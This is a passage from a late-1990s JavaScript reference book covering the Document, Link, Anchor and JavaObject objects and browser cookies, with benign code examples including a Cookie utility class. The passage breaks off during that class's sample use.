HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 14] Documents and Their Contents

JavaScript: The Definitive Guide

Previous Chapter 14 Next

14. Documents and Their Contents

Contents:
The Document Object
The Link Object
The Anchor Object
The JavaObject Object

14.1 The Document Object

If the Window object, which represents a window or a frame, is the central object in client-side JavaScript, then the Document object, which represents the contents of a window or frame, runs a close second, and is just as commonly used. This object has properties that specify information about the document: the URL, its last-modified date, the URL of the document that linked to it, the colors that it is displayed in. The Document object also has a few methods that allow JavaScript programs to dynamically output text into a document, and to dynamically create new documents from scratch. Finally, the Document object also contains a number of array properties that specify information about the contents of the document. These arrays contain objects that represent the links, anchors, HTML forms, applets, and embedded data contained in the document. These arrays and the objects they contain are very important in JavaScript programming, and will be described in their own sections later in this chapter.

Document Properties

The Document object has a number of properties that correspond to attributes of the <BODY> tag, and which are used to specify the colors that the document is displayed in. The bgColor property, and the BGCOLOR attribute specify the background color of the document. Similarly, the fgColor and the TEXT attribute specify the default color for text in the document. The linkColor property specifies the color of unvisited links, and vlinkColor and alinkColor[1] specify the color of visited links and of activated links (i.e., links currently being clicked on). The LINK, VLINK, and ALINK attributes correspond to these properties.

[1] You can set the alinkColor property in Internet Explorer, but it will be ignored, since IE never displays a separate color for activated links.

These color properties of the Document object are read/write properties, but they can only be set before the <BODY> tag is parsed. You can set them dynamically with JavaScript code in the <HEAD> of a document, or you can set them statically as attributes of the <BODY> tag, but you cannot set them elsewhere.

The exception to this rule is the bgColor property. You can set this property at any time, and doing so will cause the background color of the browser to change. Unfortunately, on Unix platforms, changing the background color can make the contents of the page disappear (usually until the window is scrolled or otherwise redrawn). Setting the background color can still produce a useful special effect when done with small, empty frames, however.

Each of these color properties has a string value. To set a color, you can use one of the predefined color names listed in Appendix G, JavaScript and HTML Color Names and Values, or you can specify the color as red, green, and blue color values, expressed as a string of six hexadecimal digits in the form "RRGGBB".

The Document object also has properties that are somewhat more interesting than these color properties. For the most part, the values of these other properties are derived from the HTML content of the document or from HTML headers supplied by the web server. As we saw in the discussion of the Location object, the Document object has a location property (and a URL property which is a preferred synonym in Navigator 3.0) that specifies the URL of the document. Because of redirection performed by the web server, this URL may be different than the requested URL.

The lastModified property is a string that specifies the date and time of the most recent change to the document. This is a value supplied by some, but not all, web servers. The referrer property specifies the URL of the document that contained the hypertext link that the user clicked on to get to the current document. If the current document was loaded by explicitly typing a URL, then this property will be empty. Note that this property is not supported in Internet Explorer 3.0. Finally, the title property contains any text that appears between the <TITLE> and </TITLE> tags in the <HEAD> of the document. You cannot use this property, of course, in code that appears before the <TITLE> of a document.

A simple use for the lastModified property is to automatically include a timestamp in your documents, so that users know whether the information they are seeing is up to date. You can do this by including HTML and JavaScript code like the following at the bottom of all your documents. Note that this code displays the document title and URL as well as its modification date:

<HR><FONT SIZE=1>
Document: <I><SCRIPT>document.write(document.title);</SCRIPT></I><BR>
URL: <I><SCRIPT>document.write(document.URL);</SCRIPT></I><BR>
Last Update: <I><SCRIPT>document.write(document.lastModified);</SCRIPT></I>
</FONT>

A possible use for the referrer property is to save this value in a hidden field of a form on your web page. When the user submits the form (for whatever reason your page contains the form in the first place) you can save this referrer data on the server. This will allow you to analyze what links exist to your page, and also what percentage of hits come through which links. Another use of this property is a trick to prevent unauthorized links to your page from working correctly. For example, if you only want users to be able to get to your page through links in pages from one particular site, you might use code like this at the top of your page:

<SCRIPT>
if (document.referrer == "" || document.referrer.indexOf("mysite.com") == -1)
    window.location = "javascript:'You can't get there from here!'";
</SCRIPT>
Don't consider this trick to be any kind of serious security measure, of course. Anyone determined to read your pages could simply disable JavaScript in their browser, and then load the page.

The write() Method

Without a doubt, the most important feature of the Document object (and perhaps of client-side JavaScript in general) is the write() method, which allows us to dynamically generate web page content from our JavaScript programs. There are several ways that this method can be used. The most obvious is to use it within a script to output HTML into the document that is currently being parsed. This is the way it was used above to display the Document lastModified property at the bottom of the web page. Be aware that you can only output HTML to the current document while that document is being parsed. That is, you can only call document.write() from within <SCRIPT> tags, because these scripts are executed as part of the document parsing process. In particular, if you call document.write() from an event handler, you will end up overwriting the current document (including its event handlers), instead of appending text to it.

Although you can't usefully write to the current document from an event handler, there is no reason you can't write to a document in another window or frame, and doing so can be a very useful technique for multiwindow or multiframe web sites. For example, JavaScript code in one frame of a multiframe site might display a message in another frame with code like this:

<SCRIPT>
parent.frames[0].document.open();
parent.frames[0].document.write("<HRE>Hello from your sibling frame!<HR>");
parent.frames[0].document.close();
</SCRIPT>

We previously saw code that dynamically creates an HTML document like this in Example 12.2 and Example 12.6. Recall that to create a new document, we first call the open() method of the Document object, then call write() any number of times to output the contents of the document, and finally call the close() method of the Document object to indicate that we are complete. This last step is important--if you forget to close the document, the browser will not stop the "document loading" animation it displays. Also, the browser may buffer up the HTML you have written, and is not required to display it until you explicitly end the document by calling close().

In contrast to the close() call, which is required, the open() call is optional. If you call the write() method on a document that has already been closed, then JavaScript implicitly opens a new HTML document, as if you called the open() method. This explains what happens when you call document.write() from an event handler within the same document--JavaScript opens a new document. In the process, however, the current document and its contents, including scripts and event handlers, is discarded. In Navigator 3.0, this causes surprising programming difficulties and unexpected error messages. In Navigator 2.0, it can actually cause the browser to crash. The best rule of thumb is that a document should never call write() on itself from within an event-handler.

A couple of final notes about the write() method. First, many people do not realize that the write() method can take more than one argument. When you pass multiple arguments, they will be output one after another, just as if they had been concatenated. So instead of writing:

document.write('Hello, '  + name + " Welcome to my home page!");
you can equivalently write:

document.write('Hello, ', name, " Welcome to my home page!");

The second point to note about the write() method is that the Document object also supports a writeln() method, which is identical to the write() method in every way, except that it appends a newline after outputting its arguments. Since HTML ignores linebreaks, this newline character usually doesn't make a difference, but, as we'll see in a bit, the writeln() method can be convenient when working with non-HTML documents.

Flushing Generated Output

When you use the write() method to dynamically generate HTML output, the text you write may not appear in the browser window right away. The contents of your individual write() calls may be buffered up so that they can be written out to the document in larger chunks. Unfortunately, there is no flush() method of the Document object that forces all output to appear. Instead, you must know the necessary tricks to make your output appear.

Calling the close() method is the simplest technique for forcing your output to be displayed, of course. Sometimes, though, you want intermediate output to be displayed, and are not yet ready to close the document you are generating. In this case, there are two techniques for flushing output. In Navigator 3.0, output is flushed whenever a new line is forced in the browser. Thus, if you output a <BR> or <P> or <HR> tag, all the text before that tag will appear. In Internet Explorer 3.0, it is not so easy, however--your output does not appear until the current <SCRIPT> block ends or the current event handler function returns. Thus, for this browser, you may need to break your code up into smaller chunks in order to assure that output is correctly flushed. Note that you can always use setTimeout() to schedule the next "chunk" of code to run in 0 milliseconds. This technique allows control to temporarily return to IE so that it can display any pending output.

Non-HTML Documents

When you open a new document with the open() method, the browser assumes that you'll be creating an HTML document. But this is not necessarily the case. Web browsers can display a number of other data formats besides HTML text. When you want to dynamically create and display a document using some other data format, you call the open() method with a single argument, which is the MIME type you desire. Note that while this technique is supported in Navigator 2.0 and 3.0, it does not work in Internet Explorer 3.0--in that browser, any argument passed to open() is ignored.

The MIME type for HTML is "text/html". The most common format other than HTML is plain text, with a MIME type of "text/plain". If you want to use the write() method to output text that uses newlines, spaces, and tab characters for formatting, then you should open the document by passing the string "text/plain" to the open() method. Example 14.1 shows one way you might do this. It implements a debug() function that you can use to output plain-text debugging messages from your scripts into a separate window that appears when needed. Figure 14.1 shows what the resulting window looks like.

Figure 14.1: A window for plain-text debugging output

[Graphic: Figure 14-1]

Example 14.1: Creating a Plain-Text Document

<SCRIPT>
var _console = null;
function debug(msg)
{
    // Open a window the first time we are called, or after an existing
    // console window has been closed.
    if ((_console == null) || (_console.closed)) {
        _console = window.open("","console","width=600,height=300,resizable");
        // open a document in the window to display plain text
        _console.document.open("text/plain");
    }
    _console.document.writeln(msg);
}
</SCRIPT>
<!-- Here's an example of using this script -->
<SCRIPT>var n = 0;</SCRIPT>
<FORM>
<INPUT TYPE="button" VALUE="Push Me"
       onClick="debug('You have pushed me:\t' + ++n + ' times.');">
</FORM>

This technique of using non-HTML documents is not limited to plain-text documents, or to textual documents in general. It can also be used with images, for instance. If we open a document and specify the MIME type "image/xbm", for example, then the browser will expect the contents of that document to be an image in XBM format. Because XBM images have an ASCII representation, we can easily write a static XBM image to the document, or even generate a dynamic image on the fly (perhaps using a Java applet to do the image processing, for speed). Example 14.2 shows how you can create an "image/xbm" document with a static XBM image, and also shows how this XBM image can be used for image embedded in an HTML document. Figure 14.2 shows the windows created by the example. This technique would be much more efficient and interesting if it used a compact image format like "image/gif". Unfortunately, this is not possible because GIF images use a binary format that includes NULL characters (i.e., the byte 0) and the current versions of JavaScript cannot output this character.

Figure 14.2: JavaScript-generated images

[Graphic: Figure 14-2]

Example 14.2: Generating XBM Images with JavaScript

<SCRIPT>
// This is a long string in XBM image format. It defines an image.
// This is an ASCII format, which means we can easily manipulate it
// in JavaScript, but also means that it is not compact. This is only
// a 22x22 pixel image. The real power of this technique comes, of course
// when we start generating XBM data dynamically at run-time instead of
// using a static string as we do here.
image_text =
"#define plaid_width 22\n" +
"#define plaid_height 22\n" +
"#define plaid_x_hot -1\n" +
"#define plaid_y_hot -1\n" +
"static char plaid_bits[] = {\n" +
"  0x75, 0xfd, 0x3f, 0xaa, 0xfa, 0x3e, 0x75, 0xfd, 0x3f, 0xaa, 0xfa, 0x3e,\n" +
"  0x75, 0xfd, 0x3f, 0xff, 0x57, 0x15, 0x75, 0xfd, 0x3f, 0xaa, 0xfa, 0x3e,\n" +
"  0x75, 0xfd, 0x3f, 0xaa, 0xfa, 0x3e, 0x75, 0xfd, 0x3f, 0x20, 0xa8, 0x2b,\n" +
"  0x20, 0x50, 0x15, 0x20, 0xa8, 0x2b, 0x20, 0x50, 0x15, 0x20, 0xa8, 0x2b,\n" +
"  0xff, 0xff, 0x3f, 0x20, 0xa8, 0x2b, 0x20, 0x50, 0x15, 0x20, 0xa8, 0x2b,\n" +
"  0x20, 0x50, 0x15, 0x20, 0xa8, 0x2b};\n";
// Here we create a new window, open the document, specifying a MIME type of
// image/xbm, and then output the image text. The window will display
// the XBM data we give it.
win1 = window.open("", "win1", "width=100,height=100,resizable");
var d = win1.document;
d.open('image/xbm');
d.write(image_text);
d.close();
// There are also a couple of other ways to use XBM image data that do not
// involve specifying a MIME type when opening the document. Here we
// create a new window, and then use a javascript: URL as the SRC of an
// inline <IMG>. This is an XBM image embedded in a text/html document,
// so we can display text, anchors, etc.
win2 = window.open("", "win2", "width=100,height=100,resizable");
var d = win2.document;
d.open();
d.write('<B>Plaid:</B><BR>');
d.write('<A HREF="javascript:self.close();">');
d.write('<IMG SRC="javascript:opener.image_text" WIDTH=22 HEIGHT=22>');
d.write('</A>');
d.close();
// We can also use the javascript: URL with the BACKGROUND tag of the
// <BODY> tag. XBM is a black-on-white image format, but note how the
// BGCOLOR tag can replace the white background.
win3 = window.open("", "win3", "width=100,height=100,resizable");
var d = win3.document;
d.open();
d.write('<BODY BACKGROUND="javascript:opener.image_text" BGCOLOR="red">');
d.close();
</SCRIPT>

Previous | Home | Next
The History Object | Book Index | The Link Object
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 14] 14.2 The Link Object

JavaScript: The Definitive Guide

Previous Chapter 14
Documents and Their Contents 		Next

14.2 The Link Object

The previous section has described the Document object and some of its important methods and properties. The Document object has a number of other properties that we have not discussed yet. These properties are arrays, each of which contains references to other important JavaScript objects. This and the following sections explain the links[], anchors[], applets[], embeds[], images[], and forms[] properties of the Document object, and the Link, JavaObject, Image, and Form objects those array properties refer to.

The Link object represents a hypertext link in a document, and is created with an <A HREF="hyperlink"> HTML tag, or, in Navigator 3.0, with an <AREA> tag within a client-side image map <MAP> tag. The links[] property of the Document object is an array that contains a complete list of hypertext links in the document. The Link object represents the URL of the hypertext link, and contains all of the properties that the Location object does. For example, the href property of a Link object contains the complete text of the URL that is linked to, and the hostname property contains only the hostname portion of that URL. See the reference section for a complete list of these URL-related properties.

One obvious use of the Link object and the links[] array is to write a "web crawler" program. This program would run in one browser window or frame and read web pages into another window or frame (by setting the location property of the Window object). For each page it reads in, it would look through the links[] array and recursively follow them. If carefully written (so it doesn't get caught in infinite recursion or doesn't start going in circles) such a program can, for example, be used to generate a list of all web pages that are accessible from a given starting page, and can be quite useful in web site maintenance. Example 14.3 shows a simple function that can be used to generate a list of all the links in a specified Document object.

Example 14.3: Listing the Links in a Document

// Create a new window and list the destinations of all links in document d
// in that window. Note that we use a text/plain document.
function listlinks(d)
{
    var newwin = window.open("", "linklist",
                    "menubar,scrollbars,resizable,width=600,height=300");
    newwin.document.open("text/plain");
    for (var i = 0; i < d.links.length; i++)
        newwin.document.writeln(d.links[i]);
    newwin.document.close();
}

Don't expect to search the entire Internet with this technique, however. For security reasons, JavaScript in Navigator 2.0 and Navigator 3.0 is "hobbled" so that it cannot steal data that may be private. The restriction is this: a script running in one window or frame can read properties from other windows or frames only if the contents of the other window or frame were loaded from the same web server as the script. While our "web crawler" program as we've described it above is not a threat to Internet security or privacy, this general security restriction will prevent it from crawling very far beyond the site from which it was loaded. (When the crawler loads a page from a different site, it will appear as if that page simply has no links on it.) See Chapter 20, JavaScript Security, for a complete discussion of JavaScript security, including a description of how to partially lift the restriction described here with the domain property, or to fully lift it by enabling the data-tainting security model.

More interesting than the URL-related properties of the Link object are the event handlers it supports. We saw the onMouseOver() event handler previously in Example 12.3 where it was used with both <A> and <AREA> to change the message in the browser's status line when the mouse moved over the link.

In addition to this onMouseOver() event handler, the link object supports two others. The onClick() event handler is invoked when the user clicks on a hypertext link. In Navigator 3.0, if this event handler returns false then the browser won't follow the link, as it would otherwise. Note that onClick() only works for Link objects created with the <A> tag; it should work for those created with the <AREA> tag in a future version of the language.

In Navigator 3.0, both the <A> and <AREA> tags support an onMouseOut() event handler. This is simply the opposite of the onMouseOver() handler--it is run when the mouse pointer moves off of a hypertext link. If you used onMouseOver() to display a message in the status line, you can use onMouseOut() to clear it; as we saw in Chapter 12, Programming with Windows, the status line is not automatically cleared, as it should be, on Windows platforms.

Finally, it is worth mentioning that the href and other URL properties of the Link object are read/write. Thus, you can write JavaScript programs that dynamically modify the destinations of hypertext links! Example 14.4 is a frivolous piece of JavaScript-enhanced HTML that implements a random hypertext link. It demonstrates each of the features of the Link object that we've considered: the links[] array, the use of the Link event handlers, and dynamic setting of the destination of a Link. Note that the example sets the href property of the Link, but doesn't bother to read the href property of the link it randomly chooses. Instead, it simply relies on the toString() method of the Link object to return the URL.

Example 14.4: A Random Hypertext Link

<A HREF="about:"
    onMouseOver="status = 'Take a chance... Click me.'; return true;"
    onMouseOut="status = ''"
    onClick="this.href =
              document.links[Math.floor(Math.random()*document.links.length)]"
>
Random Link
</A>

Previous | Home | Next
The Document Object | Book Index | The Anchor Object
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 14] 14.3 The Anchor Object

JavaScript: The Definitive Guide

Previous Chapter 14
Documents and Their Contents 		Next

14.3 The Anchor Object

Just as a Link object represents a hypertext link, an Anchor object represents a named location within a document which can serve as the target of a hypertext link. Anchors are something like the reverse of Links, and they are treated similarly to Links in HTML and in JavaScript. An anchor is created with the <A> tag, when it is used with the NAME attribute (rather than the HREF attribute, which creates a link). The Document object contains an anchors[] property which is an array of all the Anchors in the document.

There is only one flaw in this analogy between links and anchors: the Anchor object has not been implemented in either JavaScript 1.0 or JavaScript 1.1. So, in Navigator 2.0, Navigator 3.0, and Internet Explorer 3.0, the anchors[] property of the Document object is an array that contains null for each of its elements. The length property of the anchors[] array does work, and you can use it to determine the number of anchors in a given document, although this information may not be of particular use.

The next version of JavaScript will likely contain a useful implementation of the Anchor object.

Previous | Home | Next
The Link Object | Book Index | The JavaObject Object
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 14] 14.4 The JavaObject Object

JavaScript: The Definitive Guide

Previous Chapter 14
Documents and Their Contents 		Next

14.4 The JavaObject Object

The JavaObject object is a JavaScript object that serves as a wrapper around Java objects. It allows JavaScript programs to read and write the public fields of a Java object, and also to invoke the public methods of a Java object. Chapter 19, LiveConnect: JavaScript and Java, covers the "LiveConnect" mechanism for communication between Java and JavaScript, and will explain JavaObjects in detail, as well as the JavaArray, JavaClass, and JavaPackage objects.

The reason that JavaObjects are being discussed here is that in Navigator 3.0, the applets[] and embeds[] properties of the Document object are arrays that contain JavaObjects. Elements of the applets[] array are created when a Java applet is included in the document with the <APPLET> tag. Each JavaObject in this array represents the Java Applet object. Similarly, elements of the embeds[] array are created when embedded data are included in the document with the <EMBED> tag. In Navigator, the <EMBED> tag specifies data to be displayed through a plug-in, and the JavaObject objects in the embeds[] array are Java objects provided by the plug-in that allow it to be controlled through a Java-based interface. If a plug-in does not support Java--and many plug-ins currently do not--then the entry in the embeds[] array will be a dummy object with no functionality.

Both the <APPLET> and the <EMBED> tags have optional NAME attributes. If you specify a name for either of these tags, then a property with that specified name will be created in the Document object. The value of this property will be a reference to the JavaObject for the applet or embedded data. Using the NAME attribute in HTML can make your JavaScript code more readable--you can use expressions like document.myapp instead of document.applets[0].

Example 14.5 shows how you might embed a Java applet in a web page with the <APPLET> tag, and then invoke the start() and stop() methods of that applet from JavaScript event handlers.

Example 14.5: Invoking Methods of a Java Applet from JavaScript

<APPLET NAME="animation" CODE="Animation.class" WIDTH=500 HEIGHT=200>
</APPLET>
<FORM>
<INPUT TYPE=button VALUE="Start" onclick="document.animation.start()">
<INPUT TYPE=button VALUE="Stop" onclick="document.animation.stop()">
</FORM>

The topic of interacting with Java from JavaScript is a broad one, and deserves a chapter on its own. We'll learn more about the JavaObject object and the applets[] and embeds[] arrays in Chapter 19, LiveConnect: JavaScript and Java.

Previous | Home | Next
The Anchor Object | Book Index | Saving State with Cookies
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 15] Saving State with Cookies

JavaScript: The Definitive Guide

Previous Chapter 15 Next

15. Saving State with Cookies

Contents:
An Overview of Cookies
Reading Cookies
Storing Cookies
Cookie Limitations
Cookie Example

The Document object contains property named cookie that was not discussed in Chapter 14, Documents and Their Contents. On the surface, this property appears to be a simple string value. Surface appearance to the contrary, however, the cookie property controls a very important feature of the web browser, and is important enough to warrant a complete chapter of its own.

15.1 An Overview of Cookies

A cookie is a small amount of named data stored by the web browser and associated with a particular web page or web site.[1] Cookies serve to give web browsers a "memory", so that they can use data that were input on one page in another page, or so they can recall user preferences or other state variables when the user leaves a page and returns. Cookies were originally designed for CGI programming, and at the lowest level are implemented as an extension to the HTTP protocol. Cookie data is automatically transmitted between web browser and web server so that CGI scripts on the server can read and write cookie values that are stored on the client. As we'll see later in this chapter, client-side JavaScript code can also read and write cookies with the Document.cookie property.

[1] The name "cookie" does not have a lot of significance, but is not used without precedent. In the obscure annals of computing history, the term "cookie" or "magic cookie" has been used to refer to a small chunk of data, particularly a chunk of privileged or secret data, akin to a password, that proves identity or permits access. Cookies as used in JavaScript are used to save state and can serve to establish a kind of "identity" for a web browser. Cookies in JavaScript do not use any kind of cryptography, and are not secure in any way.

Document.cookie is a string property that allows you to read, create, modify, and delete the cookie or cookies that apply to the current web page. It can allow you to do all this because the property does not behave like a normal read/write string property. You may both read and write the value of cookie, but setting the property has the side effect of creating a new cookie for the web page, while reading the property has the side effect of returning a list of all cookies that apply to the web page. Later sections of this chapter explain in detail how to read and write cookie values using the cookie property.

In order to use cookies effectively, however, you need to know more about them. First, cookies are transient by default--the values they store last for the duration of the web browser session, but are lost when the user exits the browser. If you want cookies to last beyond a single browsing session, then you specify an expiration date--this will cause the browser to save its cookies in a local file so that it can read them back in. In this case, the cookies values will be saved until the expiration date has past.

The second point that is important to understand about cookies is how they are associated with web pages. By default, a cookie is associated with, and accessible to, the web page that created it and any other web pages in the same directory, or subdirectories of that directory. Sometimes, though, you'll want to use cookie values throughout a multipage web site, regardless of which page creates the cookie. For instance, if the user enters their mailing address in a form on one page, you may want to save that address to use as the default the next time they return to the page, and also use it as the default in another form on another page where they are asked to enter a billing address. To allow this, you specify a path for the cookie. Then, any web pages from the same web server that contain that path in their URL will share the cookies. For example, if a cookie's path is set to "/acme", and this cookie is set by the page http://my.isp.com/acme/catalog/index.html, then the cookie will also be accessible to the page: http://my.isp.com/acme/order/ index.html. If no path were set in this example, then the default path would be "/acme/catalog", and the cookie would not be accessible from the "/acme/order" directory.

By default cookies are only accessible to pages on the same web server from which they were set. Large web sites may want cookies to be shared across multiple web servers, however. For example, the server at order.acme.com may need to read cookie values set from catalog.acme.com. This is possible if the cookie has a domain set. In this example, if the cookie has its domain set to acme.com, then it will be available to pages on both of the servers mentioned above, as long as those pages have URLs that match the cookie's path. When setting the domain of a cookie for use across multiple servers, you may often want to set a very generic path like "/". If no domain is set for a cookie, the default is the hostname of web server that serves the page. Note that you cannot set the domain of a cookie to a domain other than the domain of your server.

The third and final point to understand about cookies is that they can be secure or insecure. By default, cookies are insecure, which means that they will be transmitted over a normal, insecure, HTTP connection. If a cookie is marked secure, then it will only be transmitted when the browser and server are connected via HTTPS or another secure protocol.

See Appendix F, Persistent Client State: HTTP Cookies, for full technical details on cookies, including their expiration, path, and domain. That appendix contains the actual specification for HTTP cookies, and so contains low-level details that are more suitable to CGI programming than to JavaScript programming. The following sections discuss how you can set and query cookie values in JavaScript, and how you can specify the expiration, path, domain, and security level of a cookie.

Previous | Home | Next
The JavaObject Object | Book Index | Reading Cookies
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 15] 15.2 Reading Cookies

JavaScript: The Definitive Guide

Previous Chapter 15
Saving State with Cookies 		Next

15.2 Reading Cookies

When you use the cookie property in a JavaScript expression, the value it returns is a string containing all the cookies that apply to the current document. The string is a list of name=value pairs separated by semicolons, where name is the name of a cookie, and value is its string value. You can use the String.indexOf() and String.substring() methods to determine the value of the named cookie you are interested in. Or, you may find it easier to use String.split() to break the string into individual cookies.

Once you have obtained the value of a cookie in this way, you must interpret that value based on whatever format or encoding was used by the creator of that cookie. For example, the cookie might store multiple pieces of information in colon-separated fields. In this case, you would have to use appropriate string methods to extract the various fields of information.

The value of a cookie must not contain any semicolons, commas, or whitespace. Because these are commonly used characters, it is common to use the JavaScript escape() function to encode cookie values before storing them, and the unescape() function to decode the values after retrieving them.

Note that the Document.cookie property provides no way to obtain the domain, path, expiration, or secure fields associated with a cookie.

Previous | Home | Next
An Overview of Cookies | Book Index | Storing Cookies
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 15] 15.3 Storing Cookies

JavaScript: The Definitive Guide

Previous Chapter 15
Saving State with Cookies 		Next

15.3 Storing Cookies

To associate a temporary cookie value with the current document, simply set the cookie property to a string of the form:

name=value
The next time you read the cookie property, the name/value pair you stored will be included in the list of cookies for the document. As noted above, the cookie value may not include semicolons, commas or whitespace. For this reason, you may want to use the JavaScript escape() function to encode the value before storing it in the cookie.

A cookie written as described above will last for the current web browsing session, but will be lost when the user exits the browser. To create a cookie that can last across browser sessions, include an expiration date. You can do this by setting the cookie property to a string of the form:

name=value; expires=date
When setting an expiration date like this, date should be a date specification in the format written by Date.toGMTString().

Similarly, you can set the path, domain, and secure fields of a cookie by appending strings of the following form to the cookie value before that value is written to the document.cookie property:

; path=path
; domain=domain
; secure

To change the value of a cookie, set its value again, using the same name (and the same path and domain, if any) and the new value. To delete a cookie, set it again using the same name, an arbitrary value, and an expiration date that has already passed. Note that the browser is not required to immediately delete expired cookies. In practice, with Netscape, cookie deletion seems to work more effectively if the expiration date is in the relatively distant (several hours or more) past.

Previous | Home | Next
Reading Cookies | Book Index | Cookie Limitations
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 15] 15.4 Cookie Limitations

JavaScript: The Definitive Guide

Previous Chapter 15
Saving State with Cookies 		Next

15.4 Cookie Limitations

Cookies are intended for infrequent storage of small amounts of data. They are not intended as a general-purpose communication or mechanism; use them in moderation. Note that web browsers are not required to retain more than 300 cookies total, nor more than 20 cookies per web server (for the entire server, not just for your page or site on the server), nor to retain more than 4 kilobytes of data per cookie (both name and value count towards this 4 kilobyte limit). The most restrictive of these is the 20 cookies per server limit, and so it is not a good idea to use a separate cookie for each variable you want to save. Instead, you should try to store multiple state variables within a single named cookie.

Cookies in Internet Explorer 3.0

In Internet Explorer 3.0, the cookie property only works for Document objects that were retrieved using the HTTP protocol. Documents retrieved from the local file system or via other protocols such as FTP cannot have cookies associated with them. This limitation will be resolved in a future release of IE.

Previous | Home | Next
Storing Cookies | Book Index | Cookie Example
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 15] 15.5 Cookie Example

JavaScript: The Definitive Guide

Previous Chapter 15
Saving State with Cookies 		Next

15.5 Cookie Example

Example 15.1 brings all this discussion of cookies together. This example defines a Cookie class. When you create a Cookie object, you specify a Document object, a name for the cookie, and, optionally, an expiration time, a path, a domain, and whether the cookie should be secure. After creating a Cookie object, you may set arbitrary properties on this object. When you call the store() method of the object, these property names and values will be stored as the value of the cookie (a single cookie, not one for each property). Later, when you return to the page, or on another page, you can create a Cookie object with the same name. When you invoke the load() method of the object, the cookie value will be read and parsed, and the stored properties will be re-created in the new Cookie object. Finally, if you call the remove() method of the Cookie object, the cookie values will be deleted.

This example demonstrates a useful and elegant way to use cookies. The code is somewhat complicated, but is worth studying. You might choose to start at the bottom of the example, so you understand how the Cookie class is used before you start trying to understand how it is defined.

Example 15.1: A Utility Class for Working with Cookies

<SCRIPT LANGUAGE="JavaScript1.1">
// The constructor function: creates a cookie object for the specified
// document, with a specified name and optional attributes.
// Arguments:
//   document: the Document object that the cookie is stored for. Required.
//   name:     a string that specifies a name for the cookie. Required.
//   hours:    an optional number that specifies the number of hours from now
//             that the cookie should expire.
//   path:     an optional string that specifies the cookie path attribute.
//   domain:   an optional string that specifies the cookie domain attribute.
//   secure:   an optional Boolean value that, if true, requests a secure cookie.
//
function Cookie(document, name, hours, path, domain, secure)
{
    // All the predefined properties of this object begin with '$'
    // to distinguish them from other properties which are the values to
    // be stored in the cookie.
    this.$document = document;
    this.$name = name;
    if (hours)
        this.$expiration = new Date((new Date()).getTime() + hours*3600000);
    else this.$expiration = null;
    if (path) this.$path = path; else this.$path = null;
    if (domain) this.$domain = domain; else this.$domain = null;
    if (secure) this.$secure = true; else this.$secure = false;
}
// This function is the store() method of the Cookie object.
function _Cookie_store()
{
    // First, loop through the properties of the Cookie object and
    // put together the value of the cookie. Since cookies use the
    // equals sign and semicolons as separators, we'll use colons
    // and ampersands for the individual state variables we store
    // within a single cookie value. Note that we escape the value
    // of each state variable, in case it contains punctuation or other
    // illegal characters.
    var cookieval = "";
    for(var prop in this) {
        // Ignore properties with names that begin with '$' and also methods.
        if ((prop.charAt(0) == '$') || ((typeof this[prop]) == 'function'))
            continue;
        if (cookieval != "") cookieval += '&';
        cookieval += prop + ':' + escape(this[prop]);
    }
    // Now that we have the value of the cookie, put together the
    // complete cookie string, which includes the name, and the various
    // attributes specified when the Cookie object was created.
    var cookie = this.$name + '=' + cookieval;
    if (this.$expiration)
        cookie += '; expires=' + this.$expiration.toGMTString();
    if (this.$path) cookie += '; path=' + this.$path;
    if (this.$domain) cookie += '; domain=' + this.$domain;
    if (this.$secure) cookie += '; secure';
    // Now store the cookie by setting the magic Document.cookie property.
    this.$document.cookie = cookie;
}
// This function is the load() method of the Cookie object.
function _Cookie_load()
{
    // First, get a list of all cookies that pertain to this document.
    // We do this by reading the magic Document.cookie property.
    var allcookies = this.$document.cookie;
    if (allcookies == "") return false;
    // Now extract just the named cookie from that list.
    var start = allcookies.indexOf(this.$name + '=');
    if (start == -1) return false;   // cookie not defined for this page.
    start += this.$name.length + 1;  // skip name and equals sign.
    var end = allcookies.indexOf(';', start);
    if (end == -1) end = allcookies.length;
    var cookieval = allcookies.substring(start, end);
    // Now that we've extracted the value of the named cookie, we've
    // got to break that value down into individual state variable
    // names and values. The name/value pairs are separated from each
    // other with ampersands, and the individual names and values are
    // separated from each other with colons. We use the split method
    // to parse everything.
    var a = cookieval.split('&');  // break it into array of name/value pairs
    for(var i=0; i < a.length; i++)  // break each pair into an array
        a[i] = a[i].split(':');
    // Now that we've parsed the cookie value, set all the names and values
    // of the state variables in this Cookie object. Note that we unescape()
    // the property value, because we called escape() when we stored it.
    for(var i = 0; i < a.length; i++) {
        this[a[i][0]] = unescape(a[i][1]);
    }
    // We're done, so return the success code.
    return true;
}
// This function is the remove() method of the Cookie object.
function _Cookie_remove()
{
    var cookie;
    cookie = this.$name + '=';
    if (this.$path) cookie += '; path=' + this.$path;
    if (this.$domain) cookie += '; domain=' + this.$domain;
    cookie += '; expires=Fri, 02-Jan-1970 00:00:00 GMT';
    this.$document.cookie = cookie;
}
// Create a dummy Cookie object, so we can use the prototype object to make
// the functions above into methods.
new Cookie();
Cookie.prototype.store = _Cookie_store;
Cookie.prototype.load = _Cookie_load;
Cookie.prototype.remove = _Cookie_remove;
//===================================================================
//  The code above is the definition of the Cookie class.
//  The code below is a sample use of that class.
//===================================================================
// Create the cookie we'll use to save state for this web page.
// Since we're using the default path, this cookie will be accessible
// to all web pages in the same directory as this file or "below" it.
// Therefore, it should have a name that is unique among those pages.
// Note that we set the expiration to 10 days in the future.
var visitordata = new Cookie(document, "name_color_count_state", 240);
// First, try to read data stored in the cookie. If the cookie is not
// defined, or if it doesn't contain the data we need, then query the
// user for that data.
if (!visitordata.load() || !visitordata.name || !visitordata.color) {
    visitordata.name = prompt("What is your name:", "");
